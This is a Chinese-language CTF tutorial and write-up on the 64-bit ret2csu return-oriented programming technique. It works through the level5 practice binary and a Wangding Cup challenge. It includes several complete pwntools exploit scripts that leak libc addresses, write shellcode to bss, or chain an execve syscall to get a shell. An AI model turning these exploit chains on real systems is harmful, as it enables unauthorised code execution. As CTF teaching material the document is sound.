Mac PWN 入門系列(七)Ret2Csu
發布時間:2020-05-21 10:00:15
0x0 PWN入門系列文章列表
0x1 前言
網鼎杯白虎組那個of F 的題目出的很是時候,非常好的一道base64位ROP的題目,剛好用來當做本次64位ROP利用的典型例子,這里筆者就從基礎知識到解決該題目,與各位小萌新一起分享下學習過程。
0x2 ret2csu
通過上一篇的學習,我們可以知道
64位程序的參數傳遞與32位有比較大的差別,前6個參數 由rdi rsi rdx rcx r8 r9 寄存器進行存放,在64位的程序中調用lib.so的時候會使用一個函數__libc_csu_init來進行初始化,通過這個函數里面的匯編片段,我們可以很巧妙控制到前3個參數和其他的寄存器,也能控制調用的函數地址,這個gadget 我們稱之為64位的萬能gadget,非常常用,學習ROP64位,是必不可少的一個環節。
上圖是程序執行時加載流程。
下面我們一起來學習下吧。
題目獲取:git clone https://github.com/zhengmin1989/ROP_STEP_BY_STEP.git
里面的level5 就是我們本次分析的題目。
這里我們先查看下匯編代碼:
- AT&T 風格
objdump -- help-d, --disassemble Display assembler contents of executable sections -D, --disassemble-all Display assembler contents of all sections這里我們反匯編下執行部分的sections
objdump -d ./level5 - 8086風格這里可以直接上ida或者
objdump -d ./level5 -M intel
64位ROP利用.assets/image-20200519095700969.png)
閱讀的時候注意兩者的源操作數與目的操作數的位置即可。
這里最適合閱讀的話,推薦odjdump -d ./level5 -M intel
我們先簡單分析下這個代碼:
ret2cus的靈魂之處體現在 gadget2 利用 gadget1 准備的數據來控制edi、rsi、rdx和控制跳轉任意函數。
這里是gadget1部分代碼
400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8]
40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10]
400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18]
400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20]
40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28]
40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30]
400624: 48 83 c4 38 add rsp,0x38
400628: c3 ret
這里可以看到rbx、rbp、r12、r13、r14、r15 可以由棧上rsp偏移+0x8 、+0x10、+0x20、+0x28、+0x30來決定
最后rsp進行+0x38,然后ret,這里就很好形成了一個gagdet了,因為ret的作用就是 pop rip,也就是說我們能控制gadget1結束后的rip。上面的代碼是16進制的,可能不是很好理解,這里有個師傅的圖畫的相當形象(這里我做了一些修改,我們先從簡單的利用開始學起。)
雖然這里我們可以完美控制了rbx等一些寄存器,但是我們參數寄存器是rdi、rsi、rdx、rcx、r8、r9,所以說gadget1好像沒什么用? 這個時候我們就需要用到gadget2了,
4005f0: 4c 89 fa mov rdx,r15
4005f3: 4c 89 f6 mov rsi,r14
4005f6: 44 89 ef mov edi,r13d
4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
可以看到我們的rdx、rsi、edi 可以由r15、r14、r13低32位來控制,call 由r12+rbx*8來控制,而這些值恰恰是我們gadget1可以控制的值。
但是這樣我們僅僅只是利用gadget1 、 gadget2執行了一次控制,當call返回的時候,程序會繼續向下執行,
如果此時
cmp rbx,rbp; jne 4005f0
如果此時rbx與rbp不相等,則jnp(not equal)則會進入這個循環
從而程序就卡在這里,ebx一直在+1,才退出,這里為了方便控制,我們可以根據gadget1來控制rbx==rbp,從而讓程序繼續向下走,回到了gadget1,在rsp+0x38處布置我們的返回地址,即可完成一次完成的ROP。
根據這個圖(因為反編譯的可能存在一些差異,我的程序可能跟這個圖不太一樣,但是整體邏輯是一樣的)
這個圖其實還是有點問題的,rsp應該向下8字節的位置,rsp指向的其實是第一個p64(0)(這里看作者右邊那個圖,感覺應該是未執行前畫的堆棧圖,那么結果就是對的)
下面我的分析是call gadget1進去gadget2來分析的。
rsp+8指向的rbx,… rsp+48指向的是r15,rsp+56(0x38),正好就是我們的返回地址,這個時候retn(pop rip),執行我們的gadget2,gadget2向下執行的過程中,因為rsp沒有改變,執行到add rsp,38h,此時rsp+0x38,所以我們直接+0x38的位置,然后拼接我們的漏洞函數就可以了。
我們調整下結構就容易寫一個csu的利用函數,方便我們在其他程序中快速利用
def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r13d # rsi=r14 # rdx=r15 payload = p64(csu_end_addr) + p64(0) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'A' * 0x38 payload += p64(last) return payload
這里的注釋寫的很明白, rdi由r13d來控制,rsi由r14來控制,rdx由r15來控制,這里的csu_end_addr是gadget1的開始地址,csu_front_addr是gadget2的開始地址。
也許有些小萌新還是對
payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
這個構造感覺還是有點不懂,不過問題不大,我們用exp來解決這個題目,然后分析下,基本就能完整理解了。
首先還是套路三部曲:
1.checksec
沒看棧保護、64位程序
2.ida
這里用了程序加載了 write,read,同時很明顯read函數對buf處讀取存在棧溢出,因為0x200>0x80
我們簡單搜索下,發現這個題目沒有后門函數,也沒有/bin/sh字符串,這個套路其實我們之前也遇到過了。
就是通過棧溢出讓write輸出libc的基地址,然后用read函數往bss段里面寫入/bin/sh然后在調用syscall
即可完成PWN的過程。
3.編寫exp
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * # from libformatstr import * from LibcSearcher import LibcSearcher debug = True # 設置調試環境 context(log_level = 'debug', arch = 'amd64', os = 'linux') # context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] if debug: sh = process("./level5") elf=ELF('./level5') else: link = "x.x.x.x:xx" ip, port = map(lambda x:x.strip(), link.split(':')) sh = remote(ip, port) elf=ELF('./quantum_entanglement') write_got = elf.got['write'] read_got = elf.got['read'] main_addr = 0x400544 bss_base = elf.bss() csu_end_addr= elf.search('x48x8bx5cx24x08').next() csu_front_addr = elf.search('x4cx89xfa').next() log.success("csu_end_addr => {}".format(hex(csu_end_addr))) log.success("csu_front_addr => {}".format(hex(csu_front_addr))) log.success("write_got => {}".format(hex(write_got))) log.success("read_got => {}".format(hex(read_got))) log.success("main_addr => {}".format(hex(main_addr))) log.success("bss_base => {}".format(hex(bss_base))) def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r13d # rsi=r14 # rdx=r15 payload = p64(csu_end_addr) + "A"*8 + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'A' * 0x38 # 這里+0x38是因為在gadget2中沒有對rsp影響的操作,所以直接+0x38即可 payload += p64(last) return payload sh.recvuntil('Hello, Worldn') payload1 = "A"*0x88 + csu(0, 1, write_got, 1, write_got, 8, main_addr) sh.sendline(payload1) write_addr = u64(sh.recv(8)) log.success("sending payload1 ---> write_addr => {}".format(hex(write_addr))) libc = LibcSearcher('write',write_addr) libc_base_addr = write_addr - libc.dump("write") execve_addr = libc_base_addr + libc.dump("execve") system_addr = libc_base_addr + libc.dump("system") log.success("libc_base_addr => {}".format(hex(libc_base_addr))) log.success("execve_addr => {}".format(hex(execve_addr))) log.success("system_addr => {}".format(hex(system_addr))) # pause() #sh.recvuntil("Hello, Worldn") payload2 = "A"*0x88 + csu(0, 1, read_got, 0, bss_base, 0x100, main_addr) log.success("sending payload2 --->") sh.sendline(payload2) log.success("sending payload3 --->") payload3 = "/bin/shx00" payload3 += p64(system_addr) sh.sendline(payload3) log.success("sending payload4 --->") payload3 = "x00"*0x88 + csu(0, 1, bss_base+8, bss_base, 0, 0, main_addr) sh.sendline(payload3) sh.interactive()
這里我們以payload1 作為分析的樣本
1.payload1 = "x00"*0x88 + csu(0, 1, write_got, 1, write_got, 8, main_addr)
可以看到這里
這個其實對應的調用是write(1, writ_got_addr, 8)
其他的點,建議自己跟一下,如果還不明白, 歡迎加入PWN萌新群,尋找大佬手把手教學。
UVE6OTE1NzMzMDY4 (Base64)
0x2.1 關於ret2csu的題外話
如果你看過ctfwiki的話,里面介紹了res2csu的攻擊方式與本文是有些差異,主要是__libc_csu_init
這個函數由於是編譯的原因(PS.我也是猜的),導致了不同,這里我們可以進行對比看看
這里我們可以重新選擇編譯下那個程序:
gcc -g -fno-stack-protector -no-pie level5.c -o mylevel5
左邊是我們新編譯的mylevel5,這個函數gadget1 與ctf wiki上面的分析是一樣的,gadget2 與 level5 是一樣的,很神奇吧。
右邊是我們上面主要分析的流程的level5
首先是gadget1:
ctf wiki上面是直接選擇了pop rbx開始,所以我的rsp就沒必要+8了,所以
payload = p64(csu_end_addr) + p64(0) +p64(rbx)
我們需要去掉多出來的p64(0)
payload = p64(csu_end_addr)+p64(rbx)
其次是gadget2:
4005d0: 4c 89 fa mov rdx,r15 4005d3: 4c 89 f6 mov rsi,r14 4005d6: 44 89 ef mov edi,r13d
可以看到r15控制了rdx,r13d控制了edi,這個和我們上面分析相同,但是在ctfwiki上面的
可以看到r13控制的rdx,r15d控制了edi
def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13 payload = 'a' * 0x80 + fakeebp payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'a' * 0x38 payload += p64(last) sh.send(payload) sleep(1)
這是ctf wiki的腳本,但是並沒有具備全兼容性性, 所以我們平時一定要看清楚程序編譯的__libc_csu_init的具體的初始化流程,然后修改下自己的csu的參數和位置。
個人的一些看法:
這個點也是我覺得萌新應該花時間去理解的,要不然只會套腳本,很容易把自己給坑死了。因為在pwn的過程中,環境很大概率會出現各種各樣的問題,自己一定要掌握原理和調試的能力去解決這些問題。
0x3 dynELF
前面我們的思路一直是尋找確切的libc的本地版本與遠程版本進行對應,但是在一些特殊情況下,這種方式是行不通的,本地能通,遠程爆炸。這個時候dynELF技術就能解決這類型的一些問題,通過直接dump內存,去尋找libc的中函數地址,在遠程的環境中運行。
0x3.1 淺析原理
這個內容涉及比較深的知識點,鑒於文章篇幅,先挖個坑,后面補上。
0x4 網鼎杯白虎組of F WP
最后我們用一道CTF的真題來完結我們的文章吧,據小伙伴說這是一道非常好的64位ROP的題目。
網上也沒有什么寫這個文章,估計有不少小伙伴想試試的,這里我就以這道題目為例簡單運用下ret2csu的思路。
1.checksec
emm,沒開保護,64位程序,
2.ida
很明顯一個gets的棧溢出點
cyclic 200
cyclic -l faab
確定了偏移是120,開了NX,用了gets,先看看能不能shellcode一把梭。
objdump -D pwn -M intel |grep "jump"
發現沒有用到jump的相關指令,這就無語了,我們沒辦法直接跳到shellcode
上執行了,因為你不知道棧的內存地址呀,跳不過去,要是有jump指令的話我們就能控制rip回到棧上向下執行。
存在__lib_csu_init滿足萬能gadget的條件,目前我們還能知道的一個點就是這個程序漏洞是由gets這個函數導致的,所以我們可以用gets來進行任意內容的寫入,同時通過查閱程序內的函數,在init函數中發現了syscall的調用
整理上面的條件
這里有兩種思路我們來看看:
0x3.1 bss段寫入shellcode
gdb下用vmmap查看下發現bss段有rwx權限
這里就很簡單了,直接用gets寫入shellcode,然后ret2csu到call的時候執行bss地址即可。
ROPgadget --binary pwn --only "pop|ret" 找一下發現有pop rdi這樣我們就很方便控制gets了
exp:
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * # from libformatstr import * debug = True # 設置調試環境 context(log_level = 'debug', arch = 'amd64', os = 'linux') context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] if debug: sh = process("./pwn") elf=ELF('./pwn') else: link = "x.x.x.x:xx" ip, port = map(lambda x:x.strip(), link.split(':')) sh = remote(ip, port) elf=ELF('./quantum_entanglement') rc = lambda: sh.recv(timeout=0.5) ru = lambda x:sh.recvuntil(x, drop=True) bss_addr = elf.bss() gets_plt_addr = elf.plt["gets"] pop_rdi_addr = 0x4006a3 shell_code = asm(shellcraft.amd64.linux.sh()) log.success("bss_addr => {}".format(hex(bss_addr))) log.success("gets_plt_addr => {}".format(hex(gets_plt_addr))) log.success("pop_rdi_addr => {}".format(hex(pop_rdi_addr))) offset = 0x78 payload = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr) + p64(gets_plt_addr) + p64(bss_addr) # pause() # gdb.attach(sh, "*0x400633") sh.sendline(payload) sh.sendline(shell_code) rc() sh.interactive()
這里沒什么太大的難點,關鍵的構造
payload = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr) + p64(gets_plt_addr) + p64(bss_addr)
應該還是很好理解的吧,調用gets把shellcode寫入到bss段,然后返回到bss段的地址上執行shellcode
0x3.2 syscall系統調用
這個小伙伴說的他做的這個可能是非預期,比如開了NX保護的時候,bss段就沒辦法執行了,但是還是有讀取的權限和寫權限的話,那么通過一個ROP繞過NX保護即可,很實用的一個ROP操作,下面看我分析吧。
了解syscall系統調用
execve(”/bin/sh”,0,0) 這個函數其實就是對系統函數的一個封裝
mov rdi,offset bss mov rsi,0 mov rdx,0 mov rax,3bh syscall ;因為rax為3b,所以執行execve("/bin/sh",0,0)其流程如下
1、將 sys_execve 的調用號 0x3B (59) 賦值給 rax
2、將 第一個參數即字符串 “/bin/sh”的地址 賦值給 rdi
3、將 第二個參數 0 賦值給 rsi
4、將 第三個參數 0 賦值給 rdx
首先我們可以通過ret2csu來控制rsi、rdx,然后通過gets向bss段寫入syscall 和binsh
但是rax的話,由前面可以知道ret2csu只能的控制的寄存器只有:
rbx rbp r12 r13(rdx) r14(rsi) r15d(edi)
好像並沒有控制rax的方法,這里我們找找gadget鏈條,並沒有。
這個時候就是知識的力量了
read函數原型:
ssize_t read(int fd,void *buf,size_t count)
函數返回值分為下面幾種情況:
1、如果讀取成功,則返回實際讀到的字節數。這里又有兩種情況:一是如果在讀完count要求字節之前已經到達文件的末尾,那么實際返回的字節數將 小於count值,但是仍然大於0;二是在讀完count要求字節之前,仍然沒有到達文件的末尾,這是實際返回的字節數等於要求的count值。
2、如果讀取時已經到達文件的末尾,則返回0。
3、如果出錯,則返回-1。
我們可以調用read函數讀取0x3b長度的自己,然后返回的時候rax會返回0x3b的,然后再調用syscall就可以了。
我們想調用read的時候需要控制rax=0,這個程序剛好滿足。
編寫exp:
首先回到ret2csu上面,根據程序指令我們可以確定csu函數如下結構
結合syscall的指令,后面的gadget用了retn
這里我們就不需要填充到0x38,然后繼續向下執行了,直接拼接在后面即可。
def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13 payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) return payload
完整的EXP如下:
#!/usr/bin/python # -*- coding:utf-8 -*- from pwn import * # from libformatstr import * debug = True # 設置調試環境 context(log_level = 'debug', arch = 'amd64', os = 'linux') context.terminal = ['/usr/bin/tmux', 'splitw', '-h'] if debug: sh = process("./pwn") elf=ELF('./pwn') else: link = "x.x.x.x:xx" ip, port = map(lambda x:x.strip(), link.split(':')) sh = remote(ip, port) elf = ELF('./quantum_entanglement') se = lambda x:sh.send(x) sl = lambda x: sh.sendline(x) rc = lambda: sh.recv(timeout=0.5) ru = lambda x:sh.recvuntil(x, drop=True) rn = lambda x:sh.recv(x) un64 = lambda x: u64(x.ljust(8, 'x00')) un32 = lambda x: u32(x.ljust(3, 'x00')) def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13 global csu_end_addr global csu_front_addr payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64( r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) return payload csu_end_addr = 0x000000000040069A csu_front_addr = 0x0000000000400680 bss_addr = elf.bss()+0x20 gets_plt_addr = elf.plt["gets"] pop_rdi_addr = 0x4006a3 syscall_addr = 0x40061A start = 0x4004F0 log.success("bss_addr => {}".format(hex(bss_addr))) log.success("gets_plt_addr => {}".format(hex(gets_plt_addr))) log.success("pop_rdi_addr => {}".format(hex(pop_rdi_addr))) log.success("csu_end_addr => {}".format(hex(csu_end_addr))) log.success("csu_front_addr => {}".format(hex(csu_front_addr))) offset = 0x78 payload1 = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr) + p64(gets_plt_addr) + p64(start) # pause() # gdb.attach(sh, "b *0x400633") # pause() sl(payload1) sl(p64(syscall_addr)) payload2 = offset * "A" + p64(pop_rdi_addr) + p64(bss_addr+8) + p64(gets_plt_addr) + p64(start) sl(payload2) sl("/bin/shx00") payload3 = offset * "A" payload3 += csu(0, 1, bss_addr, 59, bss_addr+0x20, 0, start) payload3 += csu(0, 1, bss_addr, 0, 0, bss_addr+8, start) sl(payload3) sl("A"*58) sh.interactive()
這里主要是利用了read(0, bss_addr+0x20), 59),然后傳入值,即可控制rax的返回值為0x
3b.
這個考點的原理是從SROP中發散出來的,平時沒什么人注意,這個可以認真學習一波,不過這里的csu用的還是很巧妙的,能很好地多次刷新寄存器的值,來調用函數。
0x5 總結
棧上的套路還是有很多的,如一些地址殘余在棧上、其他變形利用等等,路漫漫其修遠兮,只能通過以賽促練來提高自己了。本來打算把dynelf寫寫,但是發現dynelf網上的文章原理方面介紹比較難理解,所以打算將其作為一個專題來認真學習下,然后再學習下SROP的知識,最終以一篇總結性文章收尾。
0x6 參考鏈接
詳解 De1ctf 2019 pwn——unprintable
























